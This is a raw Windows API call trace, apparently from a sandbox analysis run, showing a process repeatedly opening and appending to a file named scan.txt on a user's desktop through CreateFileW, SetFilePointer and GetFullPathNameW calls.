[0167.159] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.159] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x276
[0167.160] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.160] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.160] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.160] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x285
[0167.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.161] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.162] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x294
[0167.163] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.163] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.163] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.163] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x2a3
[0167.164] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.164] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.164] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.165] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x2b2
[0167.165] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.165] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.165] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.166] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x2c1
[0167.166] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.166] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.167] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.167] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x2d0
[0167.168] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.168] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.168] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.169] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x2df
[0167.169] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.169] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.170] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.170] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x2ee
[0167.171] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.171] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.171] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.171] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x2fd
[0167.172] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.172] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.173] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.173] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x30c
[0167.174] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.174] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.174] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.174] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x31b
[0167.175] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.175] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.175] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.176] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x32a
[0167.176] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.177] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.177] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.177] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x339
[0167.178] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.178] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.178] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.179] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x348
[0167.179] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.179] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.180] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.180] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x357
[0167.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.181] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x366
[0167.182] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.182] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.183] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.183] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x375
[0167.184] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.184] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.184] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.184] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x384
[0167.185] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.185] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.186] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.186] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x393
[0167.187] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.187] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.187] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.188] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x3a2
